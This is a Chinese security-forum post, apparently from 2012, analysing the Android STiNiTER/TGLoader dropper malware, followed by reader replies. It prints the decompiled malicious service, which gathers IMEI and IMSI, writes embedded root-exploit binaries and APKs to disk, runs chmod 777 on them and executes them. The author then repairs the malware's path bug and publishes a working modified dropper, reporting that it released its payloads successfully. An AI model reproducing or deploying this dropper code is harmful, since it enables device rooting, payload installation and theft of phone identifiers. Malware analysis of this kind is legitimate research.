首页
社区
课程
招聘
[原创]android的一款自释放root型恶意软件分析
2012-3-29 21:33 25517

[原创]android的一款自释放root型恶意软件分析

2012-3-29 21:33
25517
首先介绍个网站

http://contagiominidump.blogspot.com/

非常好的一个网站,主要是他隔三差五的会放出个android恶意软件,我的分析就是基于他给出的apk文件。

注意要FQ

android.dds.com-STiNiTER_analyse.apk

首先这个是我的目标

http://contagiominidump.blogspot.com/2012/03/androidstiniter-tgloader-malware.html#more

一个属于自释放root型的恶意代码。

1 首先解压缩,反编译就不细说了。具体用到了jd-gui,dex2jar,apktool
得到了AndroidManifest.xml

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="android.dds.com"
    android:versionCode="1"
    android:versionName="1.0" >

    <application
        android:icon="@drawable/icon"
        android:label="@string/app_name" >
        <activity
            android:configChanges="keyboardHidden|orientation"
            android:label="@string/app_name"
            android:name=".Main"
            android:screenOrientation="portrait" >
            <intent-filter >
                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>

        <service android:name=".service.PlayerBindService" />
        <service android:name="com.gamebox.service.GameUpdateService" />
    </application>

</manifest>

标红部分为恶意程序的主题,是个service

2. 打开Main class,这个是起始activity,打开Main.java代码:看到一启动Main,就启动了后台GameUpdateService
  public void onCreate(Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    startService(new Intent(this, GameUpdateService.class));
Instance = this;

3 这是这个释放性root恶意软件的核心代码,有注释
package com.gamebox.service;

import android.app.Service;
import android.content.Context;
import android.content.Intent;
import android.content.res.Resources;
import android.dds.com.R;
import android.os.Build;
import android.os.Build.VERSION;
import android.os.IBinder;
import android.telephony.TelephonyManager;
import android.util.DisplayMetrics;
import java.io.BufferedReader;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.PrintStream;
import java.util.UUID;

public class GameUpdateService extends Service {
        private String DATA;
        private String IMEI;
        private String IMSI;
        private String MODEL;
        private InputStream MinputStreamAPK;
        private String MpathAPK;
        private int MstateAPKFile;
        private String OS;
        private String PHONENUMBER;
        private String PLATFORM;
        private String SCREENSIZE;
        private String infoName;
        private String infoPath;

        // 从raw资源中提取的恶意程序,root必要组件
        private InputStream inputStreamAPK;
        private InputStream inputStreamEX;
        private InputStream inputStreamEXE;
        private InputStream inputStreamID;
        private InputStream inputStreamKEEP;
        private InputStream inputStreamUNLOCK;
        private InputStream inputStreamstart;
        private DataInputStream localDataInputStream;
        private DataOutputStream localDataOutputStream;

        // 释放恶意程序,root必要组件的路径
        private String pathAPK;
        private String pathEX;
        private String pathEXE;
        private String pathID;
        private String pathKEEP;
        private String pathUNLOCK;
        private String pathstart;
        private Process process;

        //
        private int stateAPKFile;
        private int stateEXEFile;
        private int stateEXFile;
        private int stateIDFile;
        private int stateKEEPFile;
        private int stateUNLOCKFile;
        private int statestartFile;
        private String str;

        /*
         * 在service
         * oncreate结束后调用这些线程thread,第一个主要是输出这些apk到指定目录,这里我发现了些问题。在onCreate中已经提到了这个恶意程序的问题
         * 。 即data/data/android.gdwsklzz.com这个目录的权限问题,我估计是他抄的或者改的高达无双科鲁兹传的某个恶意软件版本。
         */
        Thread thread = new Thread(new Runnable() {
                public void run()

                { // 检查是否是root过的机子
                        if (!new File("/system/bin/keeper").exists()) {
                                System.out.println("---start rootSatae");
                                try {
                                        while (true) {
                                                String str = new String(GameUpdateService.this.DATA
                                                                .getBytes("UTF-8"), "UTF-8");
                                                // 这里会报错,因为infoPath是指向data/data/android.gdwsklzz.com/的,所以这个app是没有权限的,所以这个恶意程序在这里实际是走不通的。
                                                File localFile1 = new File(
                                                                GameUpdateService.this.infoPath);
                                                if (!localFile1.exists())
                                                        localFile1.mkdir();
                                                File localFile2 = new File(
                                                                GameUpdateService.this.infoPath
                                                                                + GameUpdateService.this.infoName);
                                                if (localFile2.exists())
                                                        localFile2.delete();
                                            //这里实际上是创建新文件
                                                localFile2.createNewFile();
                                                FileOutputStream localFileOutputStream = new FileOutputStream(
                                                                localFile2);
                                                localFileOutputStream.write(str.getBytes("UTF-8"));
                                                localFileOutputStream.flush();
                                                localFileOutputStream.close();
                                                // 后面是释放root代码的地方。这里利用的是从raw中提取的资源,利用后面的write方法写到了程序自己的目录中(而不是乱写别人的目录,这是不可能的),这里写了好几个apk,这也是关键的实现自释放的代码                                                GameUpdateService.this.stateUNLOCKFile = GameUpdateService.this
                                                                .write(GameUpdateService.this.inputStreamUNLOCK,
                                                                                GameUpdateService.this.pathUNLOCK);
                                                if (GameUpdateService.this.stateUNLOCKFile != 0)
                                                        break label845;
                                                GameUpdateService.this.stateAPKFile = GameUpdateService.this
                                                                .write(GameUpdateService.this.inputStreamAPK,
                                                                                GameUpdateService.this.pathAPK);
                                                if (GameUpdateService.this.stateAPKFile != 0)
                                                        break label817;
                                                GameUpdateService.this.MstateAPKFile = GameUpdateService.this
                                                                .write(GameUpdateService.this.MinputStreamAPK,
                                                                                GameUpdateService.this.MpathAPK);
                                                if (GameUpdateService.this.MstateAPKFile != 0)
                                                        break label789;
                                                GameUpdateService.this.stateIDFile = GameUpdateService.this
                                                                .write(GameUpdateService.this.inputStreamID,
                                                                                GameUpdateService.this.pathID);
                                                if (GameUpdateService.this.stateIDFile != 0)
                                                        break label743;
                                                GameUpdateService.this.stateEXEFile = GameUpdateService.this
                                                                .write(GameUpdateService.this.inputStreamEXE,
                                                                                GameUpdateService.this.pathEXE);
                                                if (GameUpdateService.this.stateEXEFile != 0)
                                                        break;
                                                GameUpdateService.this.stateKEEPFile = GameUpdateService.this
                                                                .write(GameUpdateService.this.inputStreamKEEP,
                                                                                GameUpdateService.this.pathKEEP);
                                                if (GameUpdateService.this.stateKEEPFile == 0) {
                                                        GameUpdateService.this.stateEXFile = GameUpdateService.this
                                                                        .write(GameUpdateService.this.inputStreamEX,
                                                                                        GameUpdateService.this.pathEX);
                                                        if (GameUpdateService.this.stateEXFile != 0)
                                                                continue;
                                                        GameUpdateService.this.statestartFile = GameUpdateService.this
                                                                        .write(GameUpdateService.this.inputStreamstart,
                                                                                        GameUpdateService.this.pathstart);
                                                        if (GameUpdateService.this.statestartFile != 0)
                                                                continue;

                                                        // 设置权限,给予运行的权限,这里是利用了java的Runtime.getRuntime().exec方法实现的
                                                        GameUpdateService.this
                                                                        .do_exec("chmod 777 /data/data/android.gdwsklzz.com/googleservice.apk");
                                                        GameUpdateService.this
                                                                        .do_exec("chmod 777 /data/data/android.gdwsklzz.com/googlemessage.apk");
                                                        GameUpdateService.this
                                                                        .do_exec("chmod 777 /data/data/android.gdwsklzz.com/unlock.apk");
                                                        GameUpdateService.this
                                                                        .do_exec("chmod 777 /data/data/android.gdwsklzz.com/ts");
                                                        GameUpdateService.this
                                                                        .do_exec("chmod 777 /data/data/android.gdwsklzz.com/keeper");
                                                        GameUpdateService.this
                                                                        .do_exec("chmod 777 /data/data/android.gdwsklzz.com/initr");
                                                        //这里就是开始root了 ,thread12负责干这个事情
                                                        GameUpdateService.this.thread1.start();
                                                        GameUpdateService.this
                                                                        .do_exec("chmod 777 /data/data/android.gdwsklzz.com/initr");
                                                        GameUpdateService.this
                                                                        .do_exec("/data/data/android.gdwsklzz.com/initr");
                                                        return;
                                                }
                                                System.out.println("---fail writeKEEP");
                                                new File(GameUpdateService.this.pathKEEP).delete();
                                                try {
                                                        Thread.sleep(10000L);
                                                } catch (InterruptedException localInterruptedException7) {
                                                        localInterruptedException7.printStackTrace();
                                                }
                                        }
                                } catch (IOException localIOException1) {
                                       
                                }
                        }
                }
        });

        // 应该还是root的代码。
        Thread thread1 = new Thread(new Runnable() {
                public void run() {
                        GameUpdateService.this
                                        .do_exec("chmod 777 /data/data/android.gdwsklzz.com/start");
                        GameUpdateService.this
                                        .do_exec("/data/data/android.gdwsklzz.com/start");
                }
        });

        // 应该还是root的代码。
        Thread thread2 = new Thread(new Runnable() {
                public void run() {
                        GameUpdateService.this
                                        .do_exec("chmod 777 /sqlite_stmt_journals/initr");
                        GameUpdateService.this.do_exec("/sqlite_stmt_journals/initr");
                }
        });
        private String version;

        /*
         * 这个是比较核心的一个方法,主要是Runtime.getRuntime().exec(paramString),执行命令
         * 并将结果返回localObject string类型。
         */
        String do_exec(String paramString) {
                Object localObject = "\n";
                try {
                        BufferedReader localBufferedReader = new BufferedReader(
                                        new InputStreamReader(Runtime.getRuntime()
                                                        .exec(paramString).getInputStream()));
                        while (true) {
                                String str1 = localBufferedReader.readLine();
                                if (str1 == null)
                                        break;
                                String str2 = localObject + str1 + "\n";
                                localObject = str2;
                        }
                } catch (IOException localIOException) {
                        localIOException.printStackTrace();
                }
                return (String) paramString;
        }

        public IBinder onBind(Intent paramIntent) {
                return null;
        }

        /*
         * GameUpdateService 开始加载,一开始读取了本地号码等一些常规信息,没有什么大用,后面就是加载内部带的邪恶的apk了。
         */
        public void onCreate() {
                super.onCreate();
                // 打印信息开始,
                System.out.println("--- onCreate GameUpdateService ---");
                // 获取通信服务的管理器
                TelephonyManager localTelephonyManager = (TelephonyManager) getSystemService("phone");
                // 获取屏幕分辩率
                new DisplayMetrics();
                DisplayMetrics localDisplayMetrics = getApplicationContext()
                                .getResources().getDisplayMetrics();

                // 得到机器码?这部分总而言之就是得到各种系统信息。
                this.IMEI = localTelephonyManager.getDeviceId();
                if ((this.IMEI == null) || (this.IMEI.equals("")))
                        this.IMEI = UUID.randomUUID().toString();
                this.IMSI = localTelephonyManager.getSubscriberId();
                if (this.IMSI == null)
                        this.IMSI = "";
                this.IMEI = this.IMEI;
                this.MODEL = Build.MODEL.replace(" ", "");
                this.SCREENSIZE = (localDisplayMetrics.widthPixels + "x" + localDisplayMetrics.heightPixels);
                this.PLATFORM = Build.VERSION.RELEASE;
                this.PHONENUMBER = "13800138000";
                this.OS = "Android";

                // 并打印
                System.out.println("IMEI---" + this.IMEI);
                System.out.println("IMSI---" + this.IMSI);
                System.out.println("MODEL---" + this.MODEL);
                System.out.println("SCREENSIZE---" + this.SCREENSIZE);
                System.out.println("PLATFORM---" + this.PLATFORM);
                System.out.println("PHONENUMBER---" + this.PHONENUMBER);
                System.out.println("OS---" + this.OS);

                // str1把如上信息组织起来,形成了一个xml,如下所示:
                /*
                 * <?xml version="1.0" encoding="UTF-8"?> <Request> <MobileInfo>
                 * <Imei>000000000000000</Imei> <Model>sdk</Model>
                 * <ScreenSize>320x533</ScreenSize> <PlatForm>2.3.3</PlatForm>
                 * <Os>Android</Os> <SmsCenter>13800138000</SmsCenter>
                 * <PhoneNumber>13800138000</PhoneNumber> </MobileInfo>
                 */

                String str1 = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Request>\n<MobileInfo>\n<Imei>"
                                + this.IMEI
                                + "</Imei>\n"
                                + "<Model>"
                                + this.MODEL
                                + "</Model>\n"
                                + "<ScreenSize>"
                                + this.SCREENSIZE
                                + "</ScreenSize>\n"
                                + "<PlatForm>"
                                + this.PLATFORM
                                + "</PlatForm>\n"
                                + "<Os>"
                                + this.OS
                                + "</Os>\n"
                                + "<SmsCenter>"
                                + "13800138000"
                                + "</SmsCenter>\n"
                                + "<PhoneNumber>"
                                + this.PHONENUMBER
                                + "</PhoneNumber>\n"
                                + "</MobileInfo>\n";
                this.DATA = str1;
                this.DATA = str1;
                System.out.println("DATA---" + this.DATA);

                /*
                 * 下面就是比较关键的部分了,这个恶意apk,在它自身中包括了多个恶意apk,存放在raw中当作资源,有
                 * googleservice.apk,googlemessage.apk,以及一些 initr, keeper, start, ts,
                 * unlock.apk 这几个应该是用来root的 而path则是到时候这些apk应该释放的位置
                 * 在这个恶意程序中选择了热门流行的gdwskizz即高达无双科鲁兹传的目录( 开始我以为当然如果你没装过这个软件就应该不会中招了
                 * ---后来发现这个恶意程序有问题
                 * ,我估计他是抄的高达无双科鲁兹传的某个恶意代码版本,结果路径还是android.gdwsklzz.com/那么明显这个路径是不存在
                 * ,而且也是无法自己建立的。),
                 */
                this.infoPath = "/data/data/android.gdwsklzz.com";
                this.infoName = "/sys.info";
                this.pathAPK = "/data/data/android.gdwsklzz.com/googleservice.apk";

                /*
                 * 这个就是去raw资源中提取apk的过程,其中2130968578转化为16进制7F040002
                 * 然后再gen下的R.java可以看到对应的是android public static final class raw { public
                 * static final int android=0x7f040000; public static final int
                 * googlemessage=0x7f040001; public static final int
                 * googleservice=0x7f040002; public static final int initr=0x7f040003;
                 * public static final int keeper=0x7f040004; public static final int
                 * start=0x7f040005; public static final int ts=0x7f040006; public
                 * static final int unlock=0x7f040007; }
                 * 这就是对应的raw数值,因为是反编译的造成了这个差别,我们正常调用这个应该是这样写
                 * getResources().openRawResource(R.raw.android); 赋值结束就进入
                 * 程序开头的3个线程去负责root等事宜。
                 */
                getResources().openRawResource(R.raw.android);
                this.inputStreamAPK = getResources().openRawResource(2130968578);
                this.pathID = "/data/data/android.gdwsklzz.com/android.info";
                this.inputStreamID = getResources().openRawResource(2130968576);
                this.MpathAPK = "/data/data/android.gdwsklzz.com/googlemessage.apk";
                this.MinputStreamAPK = getResources().openRawResource(2130968577);
                this.pathstart = "/data/data/android.gdwsklzz.com/start";
                this.inputStreamstart = getResources().openRawResource(2130968581);
                this.pathEX = "/data/data/android.gdwsklzz.com/initr";
                this.inputStreamEX = getResources().openRawResource(2130968579);
                this.pathEXE = "/data/data/android.gdwsklzz.com/ts";
                this.inputStreamEXE = getResources().openRawResource(2130968582);
                this.pathKEEP = "/data/data/android.gdwsklzz.com/keeper";
                this.inputStreamKEEP = getResources().openRawResource(2130968580);
                this.pathUNLOCK = "/data/data/android.gdwsklzz.com/unlock.apk";
                this.inputStreamUNLOCK = getResources().openRawResource(2130968583);
        }

        public void onDestroy() {
                super.onDestroy();
                System.out.println("--- onDestroy GameUpdateService ---");
        }

        public void onStart(Intent paramIntent, int paramInt) {
                super.onStart(paramIntent, paramInt);
                System.out.println("--- onStart GameUpdateService ---");
                this.thread.start();
        }
//这个是利用从rwa中得到的paramInputStream来写文件,代码很简单。
        public int write(InputStream paramInputStream, String paramString) {
                int i = 0;
                File localFile = new File(paramString);
                try {
                        if (!localFile.exists()) {
                                System.out.println("安装的文件" + paramString);
                                FileOutputStream localFileOutputStream = new FileOutputStream(
                                                localFile);
                                byte[] arrayOfByte = new byte[1024];
                                while (true) {
                                        int j = paramInputStream.read(arrayOfByte);
                                        if (j <= 0) {
                                                localFileOutputStream.flush();
                                                localFileOutputStream.close();
                                                paramInputStream.close();
                                                break;
                                        }
                                        localFileOutputStream.write(arrayOfByte, 0, j);
                                }
                        }
                } catch (Exception localException) {
                        System.out.println("erro");
                        localException.printStackTrace();
                        i = 1;
                }
                return i;
        }
}

/*
* Location: F:\bishe\android\malware\
* Android_Stiniter_TGLoader_E9AA097C6E87690F938BE8C75EF91C27
* \classes_dex2jar.jar Qualified Name: com.gamebox.service.GameUpdateService
* JD-Core Version: 0.6.0
*/

   他这个代码时运行不正常的,下面截图也反映了这一点,主要原因注释中我也写了,就是因为路径指定的问题,他估计是抄的别人的恶意代码,结果是导致了File件操作跨目录没有权限的。



   下面是我修正过的代码
package com.icetest.root;

import java.io.BufferedReader;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.UUID;

import android.app.Activity;
import android.content.Intent;
import android.os.Build;
import android.os.Bundle;
import android.os.IBinder;
import android.telephony.TelephonyManager;
import android.util.DisplayMetrics;
import android.util.Log;

import com.icetest.root.R;

public class Icetest2Activity extends Activity {
        /** Called when the activity is first created. */
        @Override
        public void onCreate(Bundle savedInstanceState) {
                super.onCreate(savedInstanceState);
                setContentView(R.layout.main);

                // 打印信息开始,
                Log.i("ice root", "当前用户:" + do_exec("id -u"));
                Log.i("ice root", "--- onCreate Icetest2Activity ---");
                // 获取通信服务的管理器
                TelephonyManager localTelephonyManager = (TelephonyManager) getSystemService("phone");
                // 获取屏幕分辩率
                new DisplayMetrics();
                DisplayMetrics localDisplayMetrics = getApplicationContext()
                                .getResources().getDisplayMetrics();

                // 得到机器码?这部分总而言之就是得到各种系统信息。
                this.IMEI = localTelephonyManager.getDeviceId();
                if ((this.IMEI == null) || (this.IMEI.equals("")))
                        this.IMEI = UUID.randomUUID().toString();
                this.IMSI = localTelephonyManager.getSubscriberId();
                if (this.IMSI == null)
                        this.IMSI = "";
                this.IMEI = this.IMEI;
                this.MODEL = Build.MODEL.replace(" ", "");
                this.SCREENSIZE = (localDisplayMetrics.widthPixels + "x" + localDisplayMetrics.heightPixels);
                this.PLATFORM = Build.VERSION.RELEASE;
                this.PHONENUMBER = "13800138000";
                this.OS = "Android";

                // 并打印
                Log.d("ice root", "IMEI---" + this.IMEI);
                Log.d("ice root", "IMSI---" + this.IMSI);
                Log.d("ice root", "MODEL---" + this.MODEL);
                Log.d("ice root", "SCREENSIZE---" + this.SCREENSIZE);
                Log.d("ice root", "PLATFORM---" + this.PLATFORM);
                Log.d("ice root", "PHONENUMBER---" + this.PHONENUMBER);
                Log.d("ice root", "OS---" + this.OS);

                // str1把如上信息组织起来,形成了一个xml,如下所示:
                /*
                 * <?xml version="1.0" encoding="UTF-8"?> <Request> <MobileInfo>
                 * <Imei>000000000000000</Imei> <Model>sdk</Model>
                 * <ScreenSize>320x533</ScreenSize> <PlatForm>2.3.3</PlatForm>
                 * <Os>Android</Os> <SmsCenter>13800138000</SmsCenter>
                 * <PhoneNumber>13800138000</PhoneNumber> </MobileInfo>
                 */

                String str1 = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<Request>\n<MobileInfo>\n<Imei>"
                                + this.IMEI
                                + "</Imei>\n"
                                + "<Model>"
                                + this.MODEL
                                + "</Model>\n"
                                + "<ScreenSize>"
                                + this.SCREENSIZE
                                + "</ScreenSize>\n"
                                + "<PlatForm>"
                                + this.PLATFORM
                                + "</PlatForm>\n"
                                + "<Os>"
                                + this.OS
                                + "</Os>\n"
                                + "<SmsCenter>"
                                + "13800138000"
                                + "</SmsCenter>\n"
                                + "<PhoneNumber>"
                                + this.PHONENUMBER
                                + "</PhoneNumber>\n"
                                + "</MobileInfo>\n";
                this.DATA = str1;
                this.DATA = str1;
                Log.d("ice root", "DATA---" + this.DATA);

                /*
                 * 下面就是比较关键的部分了,这个恶意apk,在它自身中包括了多个恶意apk,存放在raw中当作资源,有
                 * googleservice.apk,googlemessage.apk,以及一些 initr, keeper, start, ts,
                 * unlock.apk 这几个应该是用来root的 而path则是到时候这些apk应该释放的位置
                 */
                this.infoPath = "/data/data/com.icetest.root";
                this.infoName = "/sys.info";
                this.pathAPK = "/data/data/com.icetest.root/googleservice.apk";

                /*
                 * 这个就是去raw资源中提取apk的过程,
                 */
                getResources().openRawResource(R.raw.android);
                this.inputStreamAPK = getResources().openRawResource(
                                R.raw.googleservice);
                this.pathID = "/data/data/com.icetest.root/android.info";
                this.inputStreamID = getResources().openRawResource(R.raw.android);
                this.MpathAPK = "/data/data/com.icetest.root/googlemessage.apk";
                this.MinputStreamAPK = getResources().openRawResource(
                                R.raw.googlemessage);
                this.pathstart = "/data/data/com.icetest.root/start";
                this.inputStreamstart = getResources().openRawResource(R.raw.start);
                this.pathEX = "/data/data/com.icetest.root/initr";
                this.inputStreamEX = getResources().openRawResource(R.raw.initr);
                this.pathEXE = "/data/data/com.icetest.root/ts";
                this.inputStreamEXE = getResources().openRawResource(R.raw.ts);
                this.pathKEEP = "/data/data/com.icetest.root/keeper";
                this.inputStreamKEEP = getResources().openRawResource(R.raw.keeper);
                this.pathUNLOCK = "/data/data/com.icetest.root/unlock.apk";
                this.inputStreamUNLOCK = getResources().openRawResource(R.raw.unlock);
        }

        private String DATA;
        private String IMEI;
        private String IMSI;
        private String MODEL;
        private InputStream MinputStreamAPK;
        private String MpathAPK;
        private int MstateAPKFile;
        private String OS;
        private String PHONENUMBER;
        private String PLATFORM;
        private String SCREENSIZE;
        private String infoName;
        private String infoPath;

        // 从raw资源中提取的恶意程序,root必要组件
        private InputStream inputStreamAPK;
        private InputStream inputStreamEX;
        private InputStream inputStreamEXE;
        private InputStream inputStreamID;
        private InputStream inputStreamKEEP;
        private InputStream inputStreamUNLOCK;
        private InputStream inputStreamstart;
        private DataInputStream localDataInputStream;
        private DataOutputStream localDataOutputStream;

        // 释放恶意程序,root必要组件的路径
        private String pathAPK;
        private String pathEX;
        private String pathEXE;
        private String pathID;
        private String pathKEEP;
        private String pathUNLOCK;
        private String pathstart;
        private Process process;

        //
        private int stateAPKFile;
        private int stateEXEFile;
        private int stateEXFile;
        private int stateIDFile;
        private int stateKEEPFile;
        private int stateUNLOCKFile;
        private int statestartFile;
        private String str;

        /*
         * 在service oncreate结束后调用这些线程thread,第一个主要是输出这些apk到指定目录,这里我发现了些问题。
         */
        Thread thread = new Thread(new Runnable() {
                public void run()

                { // 检查是否是root过的机子
                        if (!new File("/system/bin/keeper").exists()) {
                                Log.i("ice root", "---start rootSatae");
                                try {
                                        while (true) {
                                                String str = new String(Icetest2Activity.this.DATA
                                                                .getBytes("UTF-8"), "UTF-8");
                                                File localFile1 = new File(
                                                                Icetest2Activity.this.infoPath);
                                                if (!localFile1.exists())
                                                        localFile1.mkdir();
                                                File localFile2 = new File(
                                                                Icetest2Activity.this.infoPath
                                                                                + Icetest2Activity.this.infoName);
                                                if (localFile2.exists())
                                                        localFile2.delete();
                                                localFile2.createNewFile();
                                                FileOutputStream localFileOutputStream = new FileOutputStream(
                                                                localFile2);
                                                localFileOutputStream.write(str.getBytes("UTF-8"));
                                                localFileOutputStream.flush();
                                                localFileOutputStream.close();
                                                // 后面是释放root代码的地方。
                                                Icetest2Activity.this.stateUNLOCKFile = Icetest2Activity.this
                                                                .write(Icetest2Activity.this.inputStreamUNLOCK,
                                                                                Icetest2Activity.this.pathUNLOCK);
                                                if (Icetest2Activity.this.stateUNLOCKFile != 0)
                                                        break;
                                                Icetest2Activity.this.stateAPKFile = Icetest2Activity.this
                                                                .write(Icetest2Activity.this.inputStreamAPK,
                                                                                Icetest2Activity.this.pathAPK);
                                                if (Icetest2Activity.this.stateAPKFile != 0)
                                                        break;
                                                Icetest2Activity.this.MstateAPKFile = Icetest2Activity.this
                                                                .write(Icetest2Activity.this.MinputStreamAPK,
                                                                                Icetest2Activity.this.MpathAPK);
                                                if (Icetest2Activity.this.MstateAPKFile != 0)
                                                        break;
                                                Icetest2Activity.this.stateIDFile = Icetest2Activity.this
                                                                .write(Icetest2Activity.this.inputStreamID,
                                                                                Icetest2Activity.this.pathID);
                                                if (Icetest2Activity.this.stateIDFile != 0)
                                                        break;
                                                Icetest2Activity.this.stateEXEFile = Icetest2Activity.this
                                                                .write(Icetest2Activity.this.inputStreamEXE,
                                                                                Icetest2Activity.this.pathEXE);
                                                if (Icetest2Activity.this.stateEXEFile != 0)
                                                        break;
                                                Icetest2Activity.this.stateKEEPFile = Icetest2Activity.this
                                                                .write(Icetest2Activity.this.inputStreamKEEP,
                                                                                Icetest2Activity.this.pathKEEP);
                                                if (Icetest2Activity.this.stateKEEPFile == 0) {
                                                        Icetest2Activity.this.stateEXFile = Icetest2Activity.this
                                                                        .write(Icetest2Activity.this.inputStreamEX,
                                                                                        Icetest2Activity.this.pathEX);
                                                        if (Icetest2Activity.this.stateEXFile != 0)
                                                                continue;
                                                        Icetest2Activity.this.statestartFile = Icetest2Activity.this
                                                                        .write(Icetest2Activity.this.inputStreamstart,
                                                                                        Icetest2Activity.this.pathstart);
                                                        if (Icetest2Activity.this.statestartFile != 0)
                                                                continue;

                                                        // 设置权限,给予运行的权限,
                                                        Icetest2Activity.this
                                                                        .do_exec("chmod 777 /data/data/com.icetest.root/googleservice.apk");
                                                        Icetest2Activity.this
                                                                        .do_exec("chmod 777 /data/data/com.icetest.root/googlemessage.apk");
                                                        Icetest2Activity.this
                                                                        .do_exec("chmod 777 /data/data/com.icetest.root/unlock.apk");
                                                        Icetest2Activity.this
                                                                        .do_exec("chmod 777 /data/data/com.icetest.root/ts");
                                                        Icetest2Activity.this
                                                                        .do_exec("chmod 777 /data/data/com.icetest.root/keeper");
                                                        Icetest2Activity.this
                                                                        .do_exec("chmod 777 /data/data/com.icetest.root/initr");
                                                        //
                                                        Icetest2Activity.this.thread1.start();
                                                        Icetest2Activity.this
                                                                        .do_exec("chmod 777 /data/data/com.icetest.root/initr");
                                                        Icetest2Activity.this
                                                                        .do_exec("/data/data/com.icetest.root/initr");
                                                        Log.i("ice root", "当前用户:" + do_exec("id -u"));
                                                        return;
                                                }

                                        }
                                } catch (IOException localIOException1) {
                                        localIOException1.printStackTrace();
                                }
                        }
                }
        }

        );

        // 应该还是root的代码。
        Thread thread1 = new Thread(new Runnable() {
                public void run() {
                        Icetest2Activity.this
                                        .do_exec("chmod 777 /data/data/com.icetest.root/start");
                        Icetest2Activity.this.do_exec("/data/data/com.icetest.root/start");

                }
        });

        // 应该还是root的代码。
        Thread thread2 = new Thread(new Runnable() {
                public void run() {
                        Icetest2Activity.this
                                        .do_exec("chmod 777 /sqlite_stmt_journals/initr");
                        Icetest2Activity.this.do_exec("/sqlite_stmt_journals/initr");

                }
        });
        private String version;

        /*
         * 这个是比较核心的一个方法,主要是Runtime.getRuntime().exec(paramString),执行命令
         * 并将结果返回localObject string类型。这个我修正了下,以前的输出是有问题的
         */
        String do_exec(String paramString) {
                String localObject = "\n";
                String lineS = "";

                try {
                        Process proc = Runtime.getRuntime().exec(paramString);

                        InputStreamReader isr = new InputStreamReader(proc.getInputStream());
                        BufferedReader br = new BufferedReader(isr);
                        String line = null;
                        while ((line = br.readLine()) != null) {
                                lineS = lineS + line + localObject;

                        }
                        return lineS;
                } catch (IOException localIOException) {
                        localIOException.printStackTrace();
                }

                return lineS;

        }

        public IBinder onBind(Intent paramIntent) {
                return null;
        }

        /*
         * Icetest2Activity 开始加载,一开始读取了本地号码等一些常规信息,没有什么大用,后面就是加载内部带的邪恶的apk了。
         */

        public void onDestroy() {
                super.onDestroy();
                System.out.println("--- onDestroy Icetest2Activity ---");
        }

        @Override
        public void onStart() {
                super.onStart();
                System.out.println("--- onStart Icetest2Activity ---");
                this.thread.start();
        }

        public int write(InputStream paramInputStream, String paramString) {
                int i = 0;
                File localFile = new File(paramString);
                try {
                        if (!localFile.exists()) {
                                Log.i("ice root", "安装的文件" + paramString);
                                FileOutputStream localFileOutputStream = new FileOutputStream(
                                                localFile);
                                byte[] arrayOfByte = new byte[1024];
                                while (true) {
                                        int j = paramInputStream.read(arrayOfByte);
                                        if (j <= 0) {
                                                localFileOutputStream.flush();
                                                localFileOutputStream.close();
                                                paramInputStream.close();
                                                break;
                                        }
                                        localFileOutputStream.write(arrayOfByte, 0, j);
                                }
                        }
                } catch (Exception localException) {
                        System.out.println("erro");
                        localException.printStackTrace();
                        i = 1;
                }
                return i;
        }

}

这是我的运行结果,可以看到日志输出,文件释放和权限修改都成功了,至于root成功没,就不知道了,不过自释放这个功能是实现了。最后附件我打包了原始的恶意程序apk,我修改后的apk,恶意程序的反汇编源代码,以及一份简单的报告


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

上传的附件:
收藏
点赞5
打赏
分享
最新回复 (21)
雪    币: 116
活跃值: (38)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
peowner 2012-3-29 21:53
2
0
看来root后,还是有隐患呀!分析的不错呀!
雪    币: 124
活跃值: (27)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
cherryEx 1 2012-3-29 23:49
3
0
mark。。。
雪    币: 123
活跃值: (50)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
kmsmxpro 2012-3-30 10:56
4
0
正在研究,占位支持!
雪    币: 1052
活跃值: (1018)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
天涯一鸿 2012-3-30 11:14
5
0
那个网站已经挂掉了?访问不能……
雪    币: 236
活跃值: (21)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
leafstone 2012-3-30 14:36
6
0
应该给精华的帖子,很好的分析~
雪    币: 93
活跃值: (43)
能力值: ( LV9,RANK:140 )
在线值:
发帖
回帖
粉丝
icefisher 3 2012-3-30 16:22
7
0
需要翻墙。。。
雪    币: 2307
活跃值: (968)
能力值: (RANK:350 )
在线值:
发帖
回帖
粉丝
非虫 7 2012-3-31 14:29
8
0
观看回帖,好文章
雪    币: 1577
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
fqhlxw 2012-3-31 14:36
9
0
又是一个应用层的。。。。
雪    币: 255
活跃值: (49)
能力值: ( LV9,RANK:180 )
在线值:
发帖
回帖
粉丝
ppanger 4 2012-3-31 15:01
10
0
icefisher功力很深 分析得很到位 赞 ^_^
雪    币: 73
活跃值: (17)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lzwsoar 2012-4-12 16:45
11
0
为什么我用JD-GUI反编译出来的代码和lz文档中的有些差别? 是因为版本不一样吗?
雪    币: 64
活跃值: (31)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
javashr 2012-4-19 00:31
12
0
观看回帖,好文章
雪    币: 185
活跃值: (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zixuan 2012-4-22 15:59
13
0
看看过程 好文章一定要支持的!
雪    币: 38
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
yqhzh 2012-5-26 19:39
14
0
学习了,多谢
雪    币: 231
活跃值: (10)
